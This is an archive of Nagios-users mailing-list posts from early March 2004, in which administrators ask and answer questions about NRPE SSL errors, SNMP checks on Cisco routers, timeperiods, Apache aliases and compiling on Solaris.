From jim at jimvaughan.com Mon Mar 1 02:02:28 2004 From: jim at jimvaughan.com (Jim Vaughan) Date: Sun, 29 Feb 2004 19:02:28 -0600 Subject: How to get uptime on remote Linux Message-ID: <001701c3ff28$de1552e0$0b02a8c0@yoda> Hello, Just learning Nagios. - Installed Nagios 1.2 (02-02-2004) on Fedora Core 1 - got it running great - it's checking remote Linux boxes with nrpe - It's checking Windows boxes using NSClient - check it out at http://neo.jimvaughan.com/nagios A quick question so I can present this to folks back at work as an alternative to our current monitoring systems: What plug-in do I use to return uptime on remote Linux boxes? I know this may be a RTFM-type question, but I've not asked any questions up till now as I've worked diligently through every bit of documentation I could find to get Nagios going thus far. Thanks for your patience! Jim. --- Jim Vaughan - Mead, NE, USA jim at jimvaughan.com http://www.jimvaughan.com ftp://ftp.jimvaughan.com --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.598 / Virus Database: 380 - Release Date: 2/28/2004 ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From yiannis.zimianitis at sssltd.co.uk Mon Mar 1 11:01:11 2004 From: yiannis.zimianitis at sssltd.co.uk (Yiannis Zimianitis) Date: Mon, 1 Mar 2004 10:01:11 -0000 Subject: plugins Message-ID: <8A542229726CD711A63600508BB3D3EC201C32@scntxms1.sss> Can we achieve the same result using the check_ifoperstatus command? Thanks very much Yiannis -----Original Message----- From: Goldberg Alain (IT) [mailto:alain at towersemi.com] Sent: 29 February 2004 06:58 To: Yiannis Zimianitis; nagios-users at lists.sourceforge.net Subject: RE: [Nagios-users] plugins I have this in checkcommands.cfg define command { command_name check_snmpif command_line $USER1$/check_snmp -H $HOSTADDRESS$ -o $ARG1$ -m IF-MIB } the check_snmpif in this format spares a lot of MIB parsing. and this in servicves.cfg: check_command check_snmpif!enterprises.9.2.1.58.0 -w 1:50 -c 1:70 will warn above 50% and critical above 70% ____________________________________________________________________________ ____________________________________________________________________________ _________ Alain Goldberg - Network manager - CCDA/CCNA AGG-RIPE - Tower Semiconductors LTD. Tel : 972-4-6506003 Fax : 972-4-6547788 Cell: 972-64-209662 ____________________________________________________________________________ ____________________________________________________________________________ _________ _____ From: Yiannis Zimianitis [mailto:yiannis.zimianitis at sssltd.co.uk] Sent: Thursday, February 26, 2004 11:44 AM To: nagios-users at lists.sourceforge.net Subject: [Nagios-users] plugins I am after some plugins or any ideas on how to monitor cpu load on cisco routers. Also utilization on the links (serial - fastethernet etc) Thanks Yiannis -------------- next part -------------- An HTML attachment was scrubbed... URL: From gavin.bartle at aspectcapital.com Mon Mar 1 11:18:15 2004 From: gavin.bartle at aspectcapital.com (Gavin Bartle) Date: Mon, 1 Mar 2004 10:18:15 -0000 Subject: notification_options meanings Message-ID: <3D7547773EDFF441B60286F4089B1C7535A5E4@VEGA1.aspectcapital.com> Hi Folks, I might have missed it in the docs but I just wondering what the notification_options letters mean , c,r etc I'm sure its out there , I did look but cant find the info Thanks CAUTION: This email message and any attachments transmitted with it contains information that is CONFIDENTIAL and may be privileged or otherwise protected from disclosure. If you are not the intended recipient please notify Aspect Capital Limited ("Aspect") immediately (postmaster at aspectcapital.com) and delete all copies of this email message and any attachments transmitted with it from your system. If you are not the intended recipient, any use, disclosure or copying of this email message and any attachments transmitted with it is strictly prohibited. This email message and any attachments transmitted with it cannot be guaranteed to be secure or error free as information could be intercepted, corrupted, lost, destroyed or incomplete. Although Aspect routinely screens for viruses, it makes no representation or warranty as to the absence of viruses in this e-mail or any attachments. For further information about Aspect please see our website at http://www.aspectcapital.com. Aspect is authorised and regulated by the Financial Services Authority for investment business. From prabhu.anandh at wipro.com Mon Mar 1 12:03:50 2004 From: prabhu.anandh at wipro.com (prabhu.anandh at wipro.com) Date: Mon, 1 Mar 2004 16:33:50 +0530 Subject: how to ping instead of check_ping. Message-ID: <07BBBE93ECD30547BC93005AF54E2557EA7A73@blr-sjp-msg.wipro.com> Hi folks, Can anyone help me how to run a shell script for ping instead of using the check_ping command. Just give me the idea whether it can be done or not.I just wanted to execute some of the unix commands along with nagios. If anyone experimented this ,share your experience.I am new to shell programming.I wanted to learn and any help will be greatly appreciated. Thanks in advance. Regards, Prabhu Anandh ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From fredrik.wanglund at mobeon.com Mon Mar 1 13:10:21 2004 From: fredrik.wanglund at mobeon.com (=?ISO-8859-1?Q?Fredrik_W=E4nglund?=) Date: Mon, 01 Mar 2004 13:10:21 +0100 Subject: how to ping instead of check_ping. In-Reply-To: <07BBBE93ECD30547BC93005AF54E2557EA7A73@blr-sjp-msg.wipro.com> References: <07BBBE93ECD30547BC93005AF54E2557EA7A73@blr-sjp-msg.wipro.com> Message-ID: <4043282D.9060709@mobeon.com> Create a script, make it executable for the Nagios-user and add a command-definition (usually to checkcommands.cfg). Done. /FredrikW prabhu.anandh at wipro.com wrote: > Hi folks, > Can anyone help me how to run a shell script for ping instead of using > the check_ping command. > Just give me the idea whether it can be done or not.I just wanted to > execute some of the unix commands along with nagios. > If anyone experimented this ,share your experience.I am new to shell > programming.I wanted to learn and any help will be greatly appreciated. > Thanks in advance. > Regards, > Prabhu Anandh > > > > > ------------------------------------------------------- > SF.Net is sponsored by: Speed Start Your Linux Apps Now. > Build and deploy apps & Web services for Linux with > a free DVD software kit from IBM. Click Now! > http://ads.osdn.com/?ad_id56&alloc_id438&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From Nick.Platt at myflorida.com Mon Mar 1 14:25:03 2004 From: Nick.Platt at myflorida.com (Platt, Nicholas) Date: Mon, 1 Mar 2004 08:25:03 -0500 Subject: NRPE Message-ID: <2FDA6C38B2BFD4119D2400D0B784BE6F06716D7F@stoexchange.state.fl.us> Hello Everyone: I have checked the fact but my situation acts differently. I have the same issue with the error message, but it only happens after random time period. My Nagios to Linux checks works great! No problem. My Linux to NT works for a random time period and then quits. Is NRPE 2.0 and NRPE_NT different versions? Are they compatible? I've upgraded all DLL on the NT servers but the problems persist. Any suggestions would be appreciated. Thanks :) -----Original Message----- From: Serveur-Faucon Surveillance [mailto:SrvFaucon at cslaval.qc.ca] Sent: Thursday, February 26, 2004 9:41 AM To: nagios-users at lists.sourceforge.net; twelsh at square-box.com Subject: [Nagios-users] R?p. : [Nagios-users] NRPE How about checking the FAQ? http://www.nagios.org/faqs/viewfaq.php?faq_id=191&expand=false&showdesc=fals e Title: Debugging "CHECK_NRPE: Error - Could not complete SSL handshake" errors FAQ ID: F0191 --------------------------------------------------- Alexandre Racine Montr?al, Qu?bec, Canada >>> "Tom Welsh" 2004-02-25 10:48:09 >>> Hi all, Ive got NRPE installed and running but am getting the following error. CHECK_NRPE: Error - Could not complete SSL handshake. I can telnt to the port on the remote box so i know its there and running. What am i blatantly missing. i have it configured to run i9n INETD on a solaris 8 box. Im using tcpwrappers and the inetd.conf entry reads nrpe stream tcp nowait nagios /usr/local/bin/tcpd /usr/local/nagios/bin/nrpe -c /usr/local/nagios/etc/nrpe.cfg --inetd Anyt pointer gratefyully taken Cheers Tom ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From shorn at lssi.net Mon Mar 1 14:32:51 2004 From: shorn at lssi.net (Spencer L Horn) Date: Mon, 01 Mar 2004 08:32:51 -0500 Subject: Nagios - Time Period Question Message-ID: <1078147971.23579.8.camel@spencer.lssi.net> Why would an active monitor completely ignore its associated time period, let me explain. In services.cfg define service{ service_description NDAFeed_Release_Monitor use rtp-service-standard host_name bldr contact_groups ndafeed,noc,support-pagers normal_check_interval 720 retry_check_interval 5 max_check_attempts 3 check_period ndafeed_release_monitor check_command check_ndafeed_release } --- in timeperiods.cfg # NDAFeed Release Monitor timeperiod definition define timeperiod{ timeperiod_name ndafeed_release_monitor alias \"NDAFeed_Release\" Hours monday 10:15-20:15 tuesday 10:15-20:15 wednesday 10:15-20:15 thursday 10:15-20:15 friday 10:15-20:15 } --- Yet this monitor continues to alarm outside of the specified time period. Any Ideas? ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From yiannis.zimianitis at sssltd.co.uk Mon Mar 1 15:12:27 2004 From: yiannis.zimianitis at sssltd.co.uk (Yiannis Zimianitis) Date: Mon, 1 Mar 2004 14:12:27 -0000 Subject: plugins Message-ID: <8A542229726CD711A63600508BB3D3EC201C35@scntxms1.sss> It doesn't work I am afraid. The OID does not exist. Or better it does exist but its not the only one. Each interface has ifInOctets and ifOutOctets and when I tried to set the warning and critical limits always comes up with critical Thanks very much Any more ideas? -----Original Message----- From: Goldberg Alain (IT) [mailto:alain at towersemi.com] Sent: 29 February 2004 06:58 To: Yiannis Zimianitis; nagios-users at lists.sourceforge.net Subject: RE: [Nagios-users] plugins I have this in checkcommands.cfg define command { command_name check_snmpif command_line $USER1$/check_snmp -H $HOSTADDRESS$ -o $ARG1$ -m IF-MIB } the check_snmpif in this format spares a lot of MIB parsing. and this in servicves.cfg: check_command check_snmpif!enterprises.9.2.1.58.0 -w 1:50 -c 1:70 will warn above 50% and critical above 70% ____________________________________________________________________________ ____________________________________________________________________________ _________ Alain Goldberg - Network manager - CCDA/CCNA AGG-RIPE - Tower Semiconductors LTD. Tel : 972-4-6506003 Fax : 972-4-6547788 Cell: 972-64-209662 ____________________________________________________________________________ ____________________________________________________________________________ _________ _____ From: Yiannis Zimianitis [mailto:yiannis.zimianitis at sssltd.co.uk] Sent: Thursday, February 26, 2004 11:44 AM To: nagios-users at lists.sourceforge.net Subject: [Nagios-users] plugins I am after some plugins or any ideas on how to monitor cpu load on cisco routers. Also utilization on the links (serial - fastethernet etc) Thanks Yiannis -------------- next part -------------- An HTML attachment was scrubbed... URL: From yiannis.zimianitis at sssltd.co.uk Mon Mar 1 15:09:18 2004 From: yiannis.zimianitis at sssltd.co.uk (Yiannis Zimianitis) Date: Mon, 1 Mar 2004 14:09:18 -0000 Subject: NRPE Message-ID: <8A542229726CD711A63600508BB3D3EC201C34@scntxms1.sss> I would like to monitor the cpu load on a cisco router. Has anyone done this using check_snmp? Is it possible to have a look at the commands? Thanks yiannis -----Original Message----- From: Platt, Nicholas [mailto:Nick.Platt at myflorida.com] Sent: 01 March 2004 13:25 To: 'Serveur-Faucon Surveillance'; 'nagios-users at lists.sourceforge.net'; 'twelsh at square-box.com' Subject: RE: [Nagios-users] NRPE Hello Everyone: I have checked the fact but my situation acts differently. I have the same issue with the error message, but it only happens after random time period. My Nagios to Linux checks works great! No problem. My Linux to NT works for a random time period and then quits. Is NRPE 2.0 and NRPE_NT different versions? Are they compatible? I've upgraded all DLL on the NT servers but the problems persist. Any suggestions would be appreciated. Thanks :) -----Original Message----- From: Serveur-Faucon Surveillance [mailto:SrvFaucon at cslaval.qc.ca] Sent: Thursday, February 26, 2004 9:41 AM To: nagios-users at lists.sourceforge.net; twelsh at square-box.com Subject: [Nagios-users] R?p. : [Nagios-users] NRPE How about checking the FAQ? http://www.nagios.org/faqs/viewfaq.php?faq_id=191&expand=false&showdesc=fals e Title: Debugging "CHECK_NRPE: Error - Could not complete SSL handshake" errors FAQ ID: F0191 --------------------------------------------------- Alexandre Racine Montr?al, Qu?bec, Canada >>> "Tom Welsh" 2004-02-25 10:48:09 >>> Hi all, Ive got NRPE installed and running but am getting the following error. CHECK_NRPE: Error - Could not complete SSL handshake. I can telnt to the port on the remote box so i know its there and running. What am i blatantly missing. i have it configured to run i9n INETD on a solaris 8 box. Im using tcpwrappers and the inetd.conf entry reads nrpe stream tcp nowait nagios /usr/local/bin/tcpd /usr/local/nagios/bin/nrpe -c /usr/local/nagios/etc/nrpe.cfg --inetd Anyt pointer gratefyully taken Cheers Tom ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null -------------- next part -------------- An HTML attachment was scrubbed... URL: From Nick.Platt at myflorida.com Mon Mar 1 15:20:28 2004 From: Nick.Platt at myflorida.com (Platt, Nicholas) Date: Mon, 1 Mar 2004 09:20:28 -0500 Subject: NRPE 2.0 and NRPE_NT Compatibility Message-ID: <2FDA6C38B2BFD4119D2400D0B784BE6F06716DA5@stoexchange.state.fl.us> Hello, I began using NRPE 2.0 to pole all Linux and NT boxes. The program works very well except for polling the NT servers. I can start polling the NT services and after a random period of time, I get the famous message: "CHECK_NRPE: Error - Could not complete SSL handshake". I have read the FAQ: http://www.nagios.org/faqs/viewfaq.php?faq_id=191 and this leads me to my questions: Is NRPE 2.0 and NRPE_NT compatible? If there is an older version of NRPE that is compatible with NRPE_TN, where can I find it? I don't see any older version on http://www.nagios.org If they are compatible, can anyone give me any suggestions on how to fix this problem? Can I turn off SSL? How? Again, Linux works great with no problems, but I'm running NRPE 2.0 with NRPE 2.0. I'm having trouble compiling for Solaris, but that will be another problem to solve later. Everyone has been so helpful and I appreciate anything you all can do for me. Thanks -------------- next part -------------- An HTML attachment was scrubbed... URL: From yiannis.zimianitis at sssltd.co.uk Mon Mar 1 15:30:01 2004 From: yiannis.zimianitis at sssltd.co.uk (Yiannis Zimianitis) Date: Mon, 1 Mar 2004 14:30:01 -0000 Subject: NRPE Message-ID: <8A542229726CD711A63600508BB3D3EC201C37@scntxms1.sss> I run it but there are so many MIBs. It would be nice if you couls tell me which one is. Also I am trying to monitor the utilization of a link in a cisco router along with the CPU load Any ideas on how you go about Thanks Yiannis -----Original Message----- From: Platt, Nicholas [mailto:Nick.Platt at myflorida.com] Sent: 01 March 2004 13:25 To: 'Serveur-Faucon Surveillance'; 'nagios-users at lists.sourceforge.net'; 'twelsh at square-box.com' Subject: RE: [Nagios-users] NRPE Hello Everyone: I have checked the fact but my situation acts differently. I have the same issue with the error message, but it only happens after random time period. My Nagios to Linux checks works great! No problem. My Linux to NT works for a random time period and then quits. Is NRPE 2.0 and NRPE_NT different versions? Are they compatible? I've upgraded all DLL on the NT servers but the problems persist. Any suggestions would be appreciated. Thanks :) -----Original Message----- From: Serveur-Faucon Surveillance [mailto:SrvFaucon at cslaval.qc.ca] Sent: Thursday, February 26, 2004 9:41 AM To: nagios-users at lists.sourceforge.net; twelsh at square-box.com Subject: [Nagios-users] R?p. : [Nagios-users] NRPE How about checking the FAQ? http://www.nagios.org/faqs/viewfaq.php?faq_id=191&expand=false&showdesc=fals e Title: Debugging "CHECK_NRPE: Error - Could not complete SSL handshake" errors FAQ ID: F0191 --------------------------------------------------- Alexandre Racine Montr?al, Qu?bec, Canada >>> "Tom Welsh" 2004-02-25 10:48:09 >>> Hi all, Ive got NRPE installed and running but am getting the following error. CHECK_NRPE: Error - Could not complete SSL handshake. I can telnt to the port on the remote box so i know its there and running. What am i blatantly missing. i have it configured to run i9n INETD on a solaris 8 box. Im using tcpwrappers and the inetd.conf entry reads nrpe stream tcp nowait nagios /usr/local/bin/tcpd /usr/local/nagios/bin/nrpe -c /usr/local/nagios/etc/nrpe.cfg --inetd Anyt pointer gratefyully taken Cheers Tom ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null -------------- next part -------------- An HTML attachment was scrubbed... URL: From Nick.Platt at myflorida.com Mon Mar 1 15:31:19 2004 From: Nick.Platt at myflorida.com (Platt, Nicholas) Date: Mon, 1 Mar 2004 09:31:19 -0500 Subject: Compiling NRPE 2.0 on SunOS 5.7 Message-ID: <2FDA6C38B2BFD4119D2400D0B784BE6F06716DAB@stoexchange.state.fl.us> Hello: I fairly new to Nagios and I've come a long way. I currently have NPRE 2.0 work on Linux and partially working on NT. I've not been able to compile NPRE 2.0 on Solaris and when I type ./cofigure, I get the following message: voyager:netroot> ls Changelog README.SSL configure.in init-script.in nrpe.xinetd.in LEGAL SECURITY contrib install-sh src Makefile.in common init-script.debian.in nrpe.cfg.in subst.in README configure init-script.freebsd.in nrpe.spec update-version voyager:netroot> ./configure checking for a BSD compatible install... ./install-sh -c checking for gcc... no checking for cc... no configure: error: no acceptable cc found in $PATH Any help would be greatly appreciated. Is there a Solaris specific version of NRPE? Let me know. Thanks -------------- next part -------------- An HTML attachment was scrubbed... URL: From Nick.Platt at myflorida.com Mon Mar 1 15:40:08 2004 From: Nick.Platt at myflorida.com (Platt, Nicholas) Date: Mon, 1 Mar 2004 09:40:08 -0500 Subject: NRPE Message-ID: <2FDA6C38B2BFD4119D2400D0B784BE6F06716DB1@stoexchange.state.fl.us> Everyone: I've made some progress by finding NRPE_NT version 7c. I found some documentation that claimed 7c fixed some SSL problems that 7b had. It particularly addresses the SSL handshake. If this fixes my problem, the newer version should be posted on the www.nagios.org site instead of the old version. Thanks -----Original Message----- From: Platt, Nicholas [mailto:Nick.Platt at myflorida.com] Sent: Monday, March 01, 2004 8:25 AM To: 'Serveur-Faucon Surveillance'; 'nagios-users at lists.sourceforge.net'; 'twelsh at square-box.com' Subject: RE: [Nagios-users] NRPE Hello Everyone: I have checked the fact but my situation acts differently. I have the same issue with the error message, but it only happens after random time period. My Nagios to Linux checks works great! No problem. My Linux to NT works for a random time period and then quits. Is NRPE 2.0 and NRPE_NT different versions? Are they compatible? I've upgraded all DLL on the NT servers but the problems persist. Any suggestions would be appreciated. Thanks :) -----Original Message----- From: Serveur-Faucon Surveillance [mailto:SrvFaucon at cslaval.qc.ca] Sent: Thursday, February 26, 2004 9:41 AM To: nagios-users at lists.sourceforge.net; twelsh at square-box.com Subject: [Nagios-users] R?p. : [Nagios-users] NRPE How about checking the FAQ? http://www.nagios.org/faqs/viewfaq.php?faq_id=191&expand=false&showdesc=fals e Title: Debugging "CHECK_NRPE: Error - Could not complete SSL handshake" errors FAQ ID: F0191 --------------------------------------------------- Alexandre Racine Montr?al, Qu?bec, Canada >>> "Tom Welsh" 2004-02-25 10:48:09 >>> Hi all, Ive got NRPE installed and running but am getting the following error. CHECK_NRPE: Error - Could not complete SSL handshake. I can telnt to the port on the remote box so i know its there and running. What am i blatantly missing. i have it configured to run i9n INETD on a solaris 8 box. Im using tcpwrappers and the inetd.conf entry reads nrpe stream tcp nowait nagios /usr/local/bin/tcpd /usr/local/nagios/bin/nrpe -c /usr/local/nagios/etc/nrpe.cfg --inetd Anyt pointer gratefyully taken Cheers Tom ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From GWCOOK at mactec.com Mon Mar 1 15:42:01 2004 From: GWCOOK at mactec.com (Cook, Garry) Date: Mon, 1 Mar 2004 07:42:01 -0700 Subject: URL path config Message-ID: <41FD7929498A174DAB86C45F28E0EC0D3EA27C@golden-m.mactec.com> If you include a trailing slash on the fakename in your alias, it's going to be required by the server when you attempt to access it. Remove the second line, restart httpd, and try again. Garry W. Cook, CCNA Network Infrastructure Manager MACTEC, Inc. - http://www.mactec.com/ 303.308.6228 (Office) - 720.220.1862 (Mobile) -----Original Message----- From: nagios-users-admin at lists.sourceforge.net [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf Of Yao, Jack Sent: Sunday, February 29, 2004 2:12 PM To: Nagios mail user list (nagios-users at lists.sourceforge.net) Subject: [Nagios-users] URL path config Hi all, By default Nagios installed with the URL path "/nagios/" in the config.cfg. After installed, I tried to eidt the pathit to be "/nagios" and edit httpd.conf during this part below to add "Alias /nagios /usr/local/nagios/share/" on top of the original one, so now it looks like this: Alias /nagios /usr/local/nagios/share/ Alias /nagios/ /usr/local/nagios/share/ Options None AllowOverride AuthConfig Order allow,deny Allow from all Then I restarted both Nagios service and httpd service, the browser still complains that "page cannot be displayed" and it could not find the new path [http://mydomain.com/nagios]. However , the old path [http://mydomain.com/nagios/] still working as if there was no change made to the config file. Is there anything else I miss here in order to change the URL path ? thanks Jack -------------- next part -------------- An HTML attachment was scrubbed... URL: From Nick.Platt at myflorida.com Mon Mar 1 15:45:33 2004 From: Nick.Platt at myflorida.com (Platt, Nicholas) Date: Mon, 1 Mar 2004 09:45:33 -0500 Subject: NRPE 2.0 and NRPE_NT Compatibility Message-ID: <2FDA6C38B2BFD4119D2400D0B784BE6F06716DB4@stoexchange.state.fl.us> Everyone: I've made some progress by finding NRPE_NT version 7c. I found some documentation that claimed 7c fixed some SSL problems that 7b had. It particularly addresses the SSL handshake. If this fixes my problem, the newer version should be posted on the www.nagios.org site instead of the old version. Thanks -----Original Message----- From: Platt, Nicholas Sent: Monday, March 01, 2004 9:20 AM To: 'nagios-users at lists.sourceforge.net' Cc: Chelette, Robert Subject: NRPE 2.0 and NRPE_NT Compatibility Hello, I began using NRPE 2.0 to pole all Linux and NT boxes. The program works very well except for polling the NT servers. I can start polling the NT services and after a random period of time, I get the famous message: "CHECK_NRPE: Error - Could not complete SSL handshake". I have read the FAQ: http://www.nagios.org/faqs/viewfaq.php?faq_id=191 and this leads me to my questions: Is NRPE 2.0 and NRPE_NT compatible? If there is an older version of NRPE that is compatible with NRPE_TN, where can I find it? I don't see any older version on http://www.nagios.org If they are compatible, can anyone give me any suggestions on how to fix this problem? Can I turn off SSL? How? Again, Linux works great with no problems, but I'm running NRPE 2.0 with NRPE 2.0. I'm having trouble compiling for Solaris, but that will be another problem to solve later. Everyone has been so helpful and I appreciate anything you all can do for me. Thanks -------------- next part -------------- An HTML attachment was scrubbed... URL: From agrajag at dragaera.net Mon Mar 1 15:46:09 2004 From: agrajag at dragaera.net (Jag) Date: Mon, 01 Mar 2004 09:46:09 -0500 Subject: notification issues In-Reply-To: <7487291.1078090421778.JavaMail.adani@stevens.edu> References: <7487291.1078090421778.JavaMail.adani@stevens.edu> Message-ID: <1078152369.4321.13.camel@pel> On Sun, 2004-02-29 at 16:33, Alban Dani wrote: > I am having a wierd notification problem with nagios. > > A couple of days ago I removed some hosts from the configuration files > because they were no longer on our network. > > I have restarted nagios a few times since then without errors or > warnings. I have also tripplechecked that nothing regarding these hosts > has remained anywhere in the nagios cfg files. > > However to my astonishment I keep getting notifications from nagios > regarding these "nonexistent" hosts!!! > > any help will be greatly appreciated, Do you have retain_state_information enabled in your nagios.cfg? If you, you may want to grep for those hosts in your state retention file. I've found that the "state" retention also retains some configuration info (such as if event handlers are turned on for certain services), so this may be the cause of your problems. ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From Nick.Platt at myflorida.com Mon Mar 1 15:43:45 2004 From: Nick.Platt at myflorida.com (Platt, Nicholas) Date: Mon, 1 Mar 2004 09:43:45 -0500 Subject: Cisco Router CPU MIB Message-ID: <2FDA6C38B2BFD4119D2400D0B784BE6F06716DB3@stoexchange.state.fl.us> The OID for a 5 second average is: 